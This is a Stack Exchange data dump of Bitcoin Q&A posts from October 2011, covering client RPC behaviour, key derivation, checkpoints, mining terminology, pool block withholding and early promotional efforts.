  <row Id="1784" PostTypeId="1" CreationDate="2011-10-28T14:19:21.047" Score="3" ViewCount="240" Body="&lt;p&gt;I upgraded to Bitcoin v. 0.4.0, and I think the way &quot;listtransactions&quot; works is different now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's assume I have 10 transactions on my account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Old behavior:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I call &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;listtransactions account='', 1, 10&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get an empty list, and then when I call&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;listtransactions account='', 1, 11&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it would wrap around and give me the first transaction&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;listtransactions account='', 1, 12&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;would give me the 2nd one, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;New behavior:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I request a non-existent transaction (i.e. the &quot;from&quot; parameter is more than 10), I always get the first transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody know if this is by design?&lt;/p&gt;&#xA;" OwnerUserId="626" LastEditorUserId="626" LastEditDate="2011-10-28T16:04:27.967" LastActivityDate="2012-02-11T08:29:56.523" Title="Listtransactions in v. 0.4.0 - different behavior?" Tags="|transactions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1785" PostTypeId="2" ParentId="1769" CreationDate="2011-10-28T18:02:12.000" Score="3" Body="&lt;p&gt;The speed at which you download a new copy of the blockchain is more dependent on the # of connections you have with the network.  To increase the number of connections to the Bitcoin network and improve Block chain speed open/forward port 8333 to the computer which is running the client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will reduce the delay (latency) between the time new transaction/blocks occur and when you learn of them.  Having more connections means on average you are closer to any event (the a node submitting a new transaction, or new block solution) and thus learn about it quicker.&lt;/p&gt;&#xA;" OwnerUserId="307" LastEditorUserId="307" LastEditDate="2011-10-28T18:11:47.650" LastActivityDate="2011-10-28T18:11:47.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1786" PostTypeId="1" AcceptedAnswerId="1787" CreationDate="2011-10-28T20:45:32.493" Score="16" ViewCount="1476" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1389/how-are-public-private-keys-in-an-address-created&quot;&gt;How are public &amp;amp; private keys in an address created?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;I am scanning in a private key from a QR code in an app I am writting to handle the import of physical bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given a private key, how can I get the public key so that I can lookup its value on the block explorer?&lt;/p&gt;&#xA;" OwnerUserId="598" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2011-10-28T21:34:33.310" Title="Given a private key, how do you get a public address" Tags="|transactions|development|qrcode|" AnswerCount="1" CommentCount="3" ClosedDate="2012-02-08T18:13:48.630" ContentLicense="CC BY-SA 3.0" />
  <row Id="1787" PostTypeId="2" ParentId="1786" CreationDate="2011-10-28T21:34:33.310" Score="5" Body="&lt;p&gt;In ECDSA public keys are usually generated from a random private key. The simple answer then would be, that instead of using a random private key, you use the given private key and it should generate the public key. After that, perform the &lt;a href=&quot;https://en.bitcoin.it/wiki/Address&quot;&gt;steps listed in the Wiki&lt;/a&gt; to find out the conventional notation for the public key you can use anywhere.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-10-28T21:34:33.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1788" PostTypeId="1" AcceptedAnswerId="1793" CreationDate="2011-10-28T21:38:48.580" Score="6" ViewCount="155" Body="&lt;p&gt;Have there been any notable promotional campaigns for the Bitcoin project or some of the major Bitcoin-relatd websites?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2014-08-31T23:18:05.530" Title="Bitcoin promotional campaigns" Tags="|project|promotion|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1789" PostTypeId="1" CreationDate="2011-10-28T22:06:57.807" Score="4" ViewCount="188" Body="&lt;p&gt;As opposed to new business that sprung up and accept Bitcoin from day 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe it will much shorter than the &lt;a href=&quot;https://en.bitcoin.it/wiki/Trade&quot; rel=&quot;nofollow&quot;&gt;Trade wiki page&lt;/a&gt;, and perhaps more valuable in a certain way.&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2011-10-29T08:17:56.447" Title="Is there a list of existing businesses that have started to accept Bitcoin?" Tags="|business|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1790" PostTypeId="2" ParentId="1789" CreationDate="2011-10-29T08:17:56.447" Score="1" Body="&lt;p&gt;I created &lt;a href=&quot;https://en.bitcoin.it/wiki/Existing_business_that_have_started_accepting_Bitcoin&quot; rel=&quot;nofollow&quot;&gt;this page on the Bitcoin wiki&lt;/a&gt;, please add to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(BTW, the wiki is extremely slow for the last day or so)&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2011-10-29T08:17:56.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1791" PostTypeId="1" AcceptedAnswerId="1792" CreationDate="2011-10-29T10:54:34.683" Score="8" ViewCount="356" Body="&lt;p&gt;When was the term &quot;mining&quot; (the process of hashing, processing the transactions, adding blocks to the blockchain etc.) first used?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Was it there right from the beginning of bitcoin? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Who was the first to call it mining?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are the other examples pre-bitcoin of the word &quot;mining&quot; being used in a similar manner (i.e. to mean some sort of computational/cryptographic work)?&lt;/p&gt;&#xA;" OwnerUserId="61" LastEditorUserId="5406" LastEditDate="2016-03-08T20:51:52.887" LastActivityDate="2016-03-08T22:17:34.900" Title="When and who coined the term &quot;mining&quot;?" Tags="|mining-theory|terminology|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1792" PostTypeId="2" ParentId="1791" CreationDate="2011-10-29T11:26:17.750" Score="10" Body="&lt;p&gt;From &lt;a href=&quot;http://bitcoin.org/bitcoin.pdf&quot;&gt;Satoshi's paper&lt;/a&gt; (my emphasis):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;By convention, the first transaction in a block is a special&#xA;  transaction that starts a new coin owned by the creator of the block. &#xA;  This adds an incentive for nodes to support the network, and provides&#xA;  a way to initially distribute coins into circulation, since there is&#xA;  no central authority to issue them. The steady addition of a constant&#xA;  of amount of new coins is &lt;strong&gt;analogous to gold miners&lt;/strong&gt; expending resources&#xA;  to add gold to circulation.  In our case, it is CPU time and&#xA;  electricity that is expended.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I don't know of any other examples where the word has been used in a similar manner.&lt;/p&gt;&#xA;" OwnerUserId="105" LastActivityDate="2011-10-29T11:26:17.750" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1793" PostTypeId="2" ParentId="1788" CreationDate="2011-10-29T13:34:57.053" Score="8" Body="&lt;p&gt;There has been a bitcoin &lt;a href=&quot;https://bitcointalk.org/index.php?topic=7961.msg170045#msg170045&quot; rel=&quot;nofollow noreferrer&quot;&gt;billboard&lt;/a&gt; on the Lawrence Expressway in Silicon Valley, California, paid for by memmorydealers.com.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ofxqi.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also the same company paid for a &lt;a href=&quot;http://bitcoinmedia.com/how-to-get-bitcoins-with-cash-national-radio&quot; rel=&quot;nofollow noreferrer&quot;&gt;radio advertisement&lt;/a&gt; across a number of US radio stations I believe. &lt;/p&gt;&#xA;" OwnerUserId="61" LastEditorUserId="61" LastEditDate="2011-10-29T16:14:42.303" LastActivityDate="2011-10-29T16:14:42.303" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1794" PostTypeId="1" AcceptedAnswerId="1795" CreationDate="2011-10-29T14:31:31.273" Score="3" ViewCount="91" Body="&lt;p&gt;How long does the standard Bitcoin client wait between sending a message to another client and deciding that the client is not responding? That is, if someone makes a client that takes a couple seconds to write a response to a request, will it still work with the Bitcoin network?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-10-29T19:06:11.897" Title="Bitcoin client communication time constraints" Tags="|protocol|bitcoin-core|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1795" PostTypeId="2" ParentId="1794" CreationDate="2011-10-29T15:41:03.267" Score="4" Body="&lt;p&gt;Bitcoin client decides that the other client is not responding when it receives report from operation system that the connection is dead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin relies on OS implementation of TCP to send and receive messages. For example, by default, when connection was already established and Round Trip Time is known, Windows will try to resend data segment five times doubling wait time after each resend before reporting connection as dead. So the total wait time is: &quot;Round Trip Time&quot; * 2^(5-1) .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. Timeouts are different for each type of message, e.g. total connection initiation timeout equals to 6 seconds .&#xA;&lt;a href=&quot;http://technet.microsoft.com/en-us/library/cc739819%28WS.10%29.aspx&quot; rel=&quot;nofollow&quot;&gt;TCP/IP Configuration Parameters&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="108" LastEditorUserId="108" LastEditDate="2011-10-29T19:06:11.897" LastActivityDate="2011-10-29T19:06:11.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1796" PostTypeId="2" ParentId="1338" CreationDate="2011-10-29T16:51:30.023" Score="10" Body="&lt;p&gt;There are at least two things you can do with block withholding:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The well-known sabotage - not submitting blocks at all to cause financial harm to the pool or its participants.&lt;/li&gt;&#xA;&lt;li&gt;The lesser-known lie-in-wait - delay submitting of a block, and use knowledge of the imminent block for extra profit.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The attacks and a proposed solution (oblivious shares) are analyzed in section &quot;Block withholding&quot; (currently 6.2) of &lt;a href=&quot;https://bitcoil.co.il/pool_analysis.pdf&quot;&gt;Analysis of Bitcoin Pooled Mining Reward Systems&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2012-10-03T20:29:42.630" LastActivityDate="2012-10-03T20:29:42.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1797" PostTypeId="1" AcceptedAnswerId="1798" CreationDate="2011-10-29T19:41:14.630" Score="39" ViewCount="13167" Body="&lt;p&gt;I often read that checkpoints protect the network from a 51% attack because an attacker cannot reverse transactions made before the last checkpoint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How exactly does this checkpoint mechanism work? And who creates the checkpoints?&lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="5406" LastEditDate="2019-05-13T22:58:56.697" LastActivityDate="2023-01-31T23:44:41.370" Title="What are checkpoints?" Tags="|blockchain|security|terminology|revert-transaction|checkpoints|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1798" PostTypeId="2" ParentId="1797" CreationDate="2011-10-29T20:18:25.380" Score="30" Body="&lt;p&gt;The checkpoints are hard coded into the standard client. The concept is, that the standard client will accept all transactions up to the checkpoint as valid and irreversible. If anyone tries to fork the blockchain starting from a block before the checkpoint, the client will not accept the fork. This makes those blocks &quot;set in stone&quot;.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-10-29T20:18:25.380" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="1799" PostTypeId="5" CreationDate="2011-10-29T20:44:44.487" Score="0" Body="&lt;p&gt;Regarding the underlying algorithms related to Bitcoin protocol.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2011-10-29T21:05:13.837" LastActivityDate="2011-10-29T21:05:13.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1800" PostTypeId="4" CreationDate="2011-10-29T20:44:44.487" Score="0" Body="Regarding the underlying algorithms related to Bitcoin protocol." OwnerUserId="323" LastEditorUserId="323" LastEditDate="2011-10-29T21:05:18.190" LastActivityDate="2011-10-29T21:05:18.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1801" PostTypeId="5" CreationDate="2011-10-29T20:46:03.830" Score="0" Body="&lt;p&gt;A botnet is a collection of compromised (usually virused or hacked) computers connected to the Internet, usually used for malicious purposes.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2011-10-29T21:05:32.807" LastActivityDate="2011-10-29T21:05:32.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1802" PostTypeId="4" CreationDate="2011-10-29T20:46:03.830" Score="0" Body="A botnet is a collection of compromised (usually virused or hacked) computers connected to the Internet, usually used for malicious purposes." OwnerUserId="323" LastEditorUserId="323" LastEditDate="2011-10-29T21:05:34.463" LastActivityDate="2011-10-29T21:05:34.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1803" PostTypeId="5" CreationDate="2011-10-29T20:51:38.643" Score="0" Body="&lt;p&gt;Related to rewards awarded for solving a block.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2011-10-29T21:05:46.177" LastActivityDate="2011-10-29T21:05:46.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1804" PostTypeId="4" CreationDate="2011-10-29T20:51:38.643" Score="0" Body="Related to rewards awarded for solving a block." OwnerUserId="323" LastEditorUserId="323" LastEditDate="2011-10-29T21:05:50.703" LastActivityDate="2011-10-29T21:05:50.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1805" PostTypeId="5" CreationDate="2011-10-29T20:52:13.807" Score="0" Body="&lt;p&gt;Related to support for charities paid in Bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2011-10-29T21:06:00.407" LastActivityDate="2011-10-29T21:06:00.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1806" PostTypeId="4" CreationDate="2011-10-29T20:52:13.807" Score="0" Body="Related to support for charities paid in Bitcoins." OwnerUserId="323" LastEditorUserId="323" LastEditDate="2011-10-29T21:06:02.933" LastActivityDate="2011-10-29T21:06:02.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1807" PostTypeId="5" CreationDate="2011-10-29T20:54:28.017" Score="0" Body="&lt;p&gt;Related to programs that share their source code.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2011-10-29T21:06:06.973" LastActivityDate="2011-10-29T21:06:06.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1808" PostTypeId="4" CreationDate="2011-10-29T20:54:28.017" Score="0" Body="Related to programs that share their source code." OwnerUserId="323" LastEditorUserId="323" LastEditDate="2011-10-29T21:06:09.110" LastActivityDate="2011-10-29T21:06:09.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1809" PostTypeId="2" ParentId="1613" CreationDate="2011-10-29T22:36:47.827" Score="4" Body="&lt;p&gt;A bot can hardly cause a noticable long-term price decrease. To do this, it would have to use an algorithm. The algorithm has to operate along the goal of the bot. Normally, the goal will be maximum profit. If the bot tries to bring the price down, it has to buy high and to sell low; this does cost money. Worse, if someone else suspects a but doing this, he could write a bot which buys low and sells high, making a lot of profit. The net effect would be that a hughe amount of money is transferred from the owner of the first bot to the owner of the second bot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This isn't to say that prices cannot be influenced or even manipulated. But this has a lot to do with psychology, and apart from that this works only at specific times, bots are not good at this.&lt;/p&gt;&#xA;" OwnerUserId="630" LastActivityDate="2011-10-29T22:36:47.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1810" PostTypeId="2" ParentId="806" CreationDate="2011-10-29T23:04:33.207" Score="4" Body="&lt;p&gt;All points by Nefario are spot-on.  In addition to these, here are some Bitcoin-specific suggestions from &lt;a href=&quot;https://campbx.com&quot; rel=&quot;nofollow&quot;&gt;Camp BX&lt;/a&gt;'s experience so far:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Use testnet.&#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/Testnet&quot; rel=&quot;nofollow&quot;&gt;Testnet&lt;/a&gt; is an excellent resource, that unfortunately does not see as much use as it should outside the core development team.  Make sure you launch your project on testnet, and test all major subsequent releases there as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Bounties are overrated.&lt;br&gt;&#xA;If you want to find bugs in your Bitcoin project, do not rely on bounties.  Perform L&amp;amp;P testing, Unit testing, System testing on all your code and hire professional security auditors if possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Use 64-bit architecture&#xA; (This may not apply to all projects.)  Many developers use an old 32-bit server for testing and 64-bit system as production server.  It is worth the extra investment to make sure your test server is 64-bit architecture as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="631" LastEditorUserId="528" LastEditDate="2012-01-09T16:50:09.897" LastActivityDate="2012-01-09T16:50:09.897" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1811" PostTypeId="2" ParentId="1788" CreationDate="2011-10-29T23:31:37.277" Score="4" Body="&lt;p&gt;Mt.Gox &lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/j6l7f/mtgox_donates_409600_to_the_humble_indie_bundle/&quot; rel=&quot;nofollow&quot;&gt;donated over 4000$&lt;/a&gt; to &lt;a href=&quot;http://www.humblebundle.com/&quot; rel=&quot;nofollow&quot;&gt;Humble Indie Bundle 3&lt;/a&gt;. Whereas it wasn't a direct campaign for Bitcoins, it got noticed in a few places helping to promote the currency's image.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-10-29T23:31:37.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1812" PostTypeId="1" CreationDate="2011-10-30T02:41:02.123" Score="-2" ViewCount="177" Body="&lt;p&gt;When I buy something off the internet, I'd like to ask the merchant to consider accepting Bitcoin. What's the best way to explain to a merchant what Bitcoin is, and what it would do for them? Any success stories?&lt;/p&gt;&#xA;" OwnerUserId="186" LastActivityDate="2011-10-30T11:25:18.610" Title="What's the best way to ask a merchant to accept Bitcoin?" Tags="|bitcoin-economy|promotion|" AnswerCount="1" CommentCount="5" ClosedDate="2011-10-30T13:12:03.633" ContentLicense="CC BY-SA 3.0" />
  <row Id="1813" PostTypeId="2" ParentId="1733" CreationDate="2011-10-30T07:40:17.690" Score="5" Body="&lt;p&gt;You could try using &lt;a href=&quot;http://www.btcrate.com&quot;&gt;www.btcrate.com&lt;/a&gt; as well, which supports additional currencies (should you need them).&lt;/p&gt;&#xA;" OwnerUserId="632" LastEditorUserId="105" LastEditDate="2011-10-30T09:13:54.860" LastActivityDate="2011-10-30T09:13:54.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1814" PostTypeId="2" ParentId="1812" CreationDate="2011-10-30T11:25:18.610" Score="2" Body="&lt;p&gt;Probably you should approach the merchant with a group of friends, and each one of you should separately ask him over the span of a couple days a question like: &quot;I would like to buy X from you, but I would like to pay for it in Bitcoins. I understand that this is sort of payment gives you more work, so I am willing to pay Y% more. The current exchange rate at &lt;a href=&quot;https://mtgox.com&quot; rel=&quot;nofollow&quot;&gt;https://mtgox.com&lt;/a&gt; is Z USD/BTC and going up, so will you consider selling me X for Q amount of Bitcoins?&quot; If the merchant is small, he probably will be okay with accepting Bitcoins for a moderate transaction, you can even offer waiting a bit until the Bitcoin exchange goes through (or say, a down-payment, so the merchant will know how this thing works before committing to anything). You would probably need to follow up a bit on that inquiry explaining some things about Bitcoins, but not including all the details on how the coins work probably works in your benefit (your email doesn't look like soliciting, but as a more genuine inquiry).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A bigger merchant will probably say no (unless they are tech-savvy), but after a couple people would ask about payment in Bitcoins, the lost opportunity costs would start adding up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally, you can try convincing merchants with some benefits of Bitcoin technology, but probably nothing works better than money incentives and business opportunities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(note: method not tested)&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-10-30T11:25:18.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1815" PostTypeId="1" AcceptedAnswerId="1818" CreationDate="2011-10-30T13:39:48.980" Score="4" ViewCount="899" Body="&lt;p&gt;Is there a list of nodes on Testnet that work like the fallback nodes on the Mainnet? I am trying to test my Bitcoin communication code and I'd like to start with just one IP I can rely to be on and responsive.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-10-30T18:37:23.693" Title="Testnet fallback nodes" Tags="|fallback-nodes|testnet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1816" PostTypeId="1" AcceptedAnswerId="1890" CreationDate="2011-10-30T13:53:04.423" Score="3" ViewCount="284" Body="&lt;p&gt;I`m currently programming some TCP communication in my custom Bitcoin client. I am wondering if it is possible for the official client to communicate with it if they are sitting on the same machine? For example, if I'd send a version message to localhost:8333 claiming my return address is localhost:8332, will the standard client respond as if it was communicating with a node on the internet?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2011-11-03T12:54:12.237" LastActivityDate="2011-11-04T15:49:25.193" Title="Can a Bitcoin node send messages to a program on the same machine?" Tags="|protocol|testing|tcp|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1818" PostTypeId="2" ParentId="1815" CreationDate="2011-10-30T18:37:23.693" Score="4" Body="&lt;p&gt;Blockexplorer.com runs a testnet node all the time.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2011-10-30T18:37:23.693" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1819" PostTypeId="1" CreationDate="2011-10-31T10:59:17.457" Score="8" ViewCount="1730" Body="&lt;p&gt;Always I spend coins the final balance of the address that is used for transaction will go to zero. The remaining coins comes back as a change to a new address. Will this indicate that the private key of the spending address is published now to the block chain for validation? Is it a risk to use this address furthermore for receiving and storing coins?&lt;/p&gt;&#xA;" OwnerUserId="635" LastEditorUserId="635" LastEditDate="2011-11-01T14:48:34.137" LastActivityDate="2019-03-02T12:22:48.580" Title="Are private keys published to the blockchain after spending coins from a wallet?" Tags="|transactions|blockchain|wallet|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1820" PostTypeId="2" ParentId="1819" CreationDate="2011-10-31T11:21:40.067" Score="1" Body="&lt;p&gt;Absolutely not. 1A corresponding private key used to sign spending transaction, in another words encrypt message, and everyone can verify it's authenticity by using 1A public key to decrypt the message. Private key never leaves wallet unless explicitly extracted.&lt;/p&gt;&#xA;" OwnerUserId="108" LastActivityDate="2011-10-31T11:21:40.067" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1821" PostTypeId="1" CreationDate="2011-10-31T13:39:36.720" Score="8" ViewCount="1347" Body="&lt;p&gt;I've tried to transfer Bitcoins from one address to another address, both of which I own. I bought a new computer, so I downloaded the Bitcoin client for OS X, and transfered from the old computer to the new computer. This was before I realized I could simply copy over my wallet.dat file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was also before I had a good idea of how Bitcoin actually worked. Just a few minutes after I hit send on the transfer, I shut down the old computer and put it away.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I sort of forgot about the whole thing until yesterday evening. I tried to check in on my balance and found it at 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, after about an hour, I see that there are transactions in my Bitcoin client for the Bitcoins sent, and the Bitcoins received.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The received address is mine, there is a credit for the amount of Bitcoins I sent, and there are 20k+ confirmations for that transaction. The weird part is that transaction is dated 6/15/2011. The sent from transaction address is also mine, there is a debit of the correct amount, there are 68 confirmations, and the transaction is dated 8/6/2011.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that the balance is &lt;em&gt;still&lt;/em&gt; 0.00.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something I can do to make sure I still have these Bitcoins? Is it a matter of waiting until there are more confirmations? Have a made a horrible mistake?&lt;/p&gt;&#xA;" OwnerUserId="637" LastEditorUserId="307" LastEditDate="2011-10-31T19:43:08.023" LastActivityDate="2012-02-20T08:34:09.423" Title="Confirmations on sent/receive transactions, still have 0 balance" Tags="|transactions|client|wallet|mac|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1822" PostTypeId="2" ParentId="1819" CreationDate="2011-10-31T13:51:22.307" Score="10" Body="&lt;p&gt;The answer is no. Your private key is never transmitted to the network for any reason.  You may wonder how the network can validate that a transaction is &quot;yours&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is possible because Bitcoin uses Public Key Cryptography (also know as asymetric cryptopgraphy).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MSXaf.png&quot; alt=&quot;http://upload.wikimedia.org/wikipedia/commons/thumb/1/1e/Public_key_signing.svg/250px-&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your addresses consist of a pair of keys which are mathematically linked.  It is easy to determine the public key from the private key but impossible to determine the private key from the public key.  It is more accurate to say it is computationally infeasible to determine the private key from the public key unless there is some cryptographic flaw.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your public key is included in the transaction (along with destination and amount).  The entire transaction is then signed with your private key.  The signature is unique based on your private key and the contents of the transaction.  Someone can't re-use a signature because it is only valid for a unique transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the network detects a transaction it will verify it by comparing the signature and public key to the transaction.  While an attacker knows the public key he would need to know the private key to generate a valid signature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Forgery/counterfiting is prevented because it is computationally infeasible (millions of years) to determine the correct signature without the private key.  It is not possible for an attacker to change part of the transaction (like changing amount in fiat check fraud) as that would require  different signature to be valid. &lt;strong&gt;The network can safely assume that if the signature is valid it must have been signed by the owner (presuambly with owners consent) and thus the transaction is valid.&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;This is why you must keep your wallet.dat secure.&lt;/strong&gt;  If someone gains access to your private keys they can sign transactions &lt;strong&gt;as you&lt;/strong&gt;.  Once an attacker can sign any transaction as you the best transaction is to transfer of all funds into account they control.&lt;/p&gt;&#xA;" OwnerUserId="307" LastActivityDate="2011-10-31T13:51:22.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1823" PostTypeId="1" AcceptedAnswerId="1824" CreationDate="2011-10-31T14:20:33.327" Score="21" ViewCount="15292" Body="&lt;p&gt;I see from the source code (script.cpp) that there is an upper limit in the script size. It there any other limit to avoid a single transaction preventing other transactions of smaller sizes to get into a block?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is this kind of attack prevented?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've read in CTransaction::AcceptToMemoryPool the line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if .... ::GetSerializeSize(*this, SER_NETWORK) &amp;lt; 100) &#xA;    return error(&quot;...&quot;); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does this line means that the maximum transaction size is 100 bytes?&lt;/p&gt;&#xA;" OwnerUserId="638" LastEditorUserId="2306" LastEditDate="2014-09-14T20:15:20.760" LastActivityDate="2017-11-26T00:00:40.867" Title="What is the maximum size of a transaction?" Tags="|transactions|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
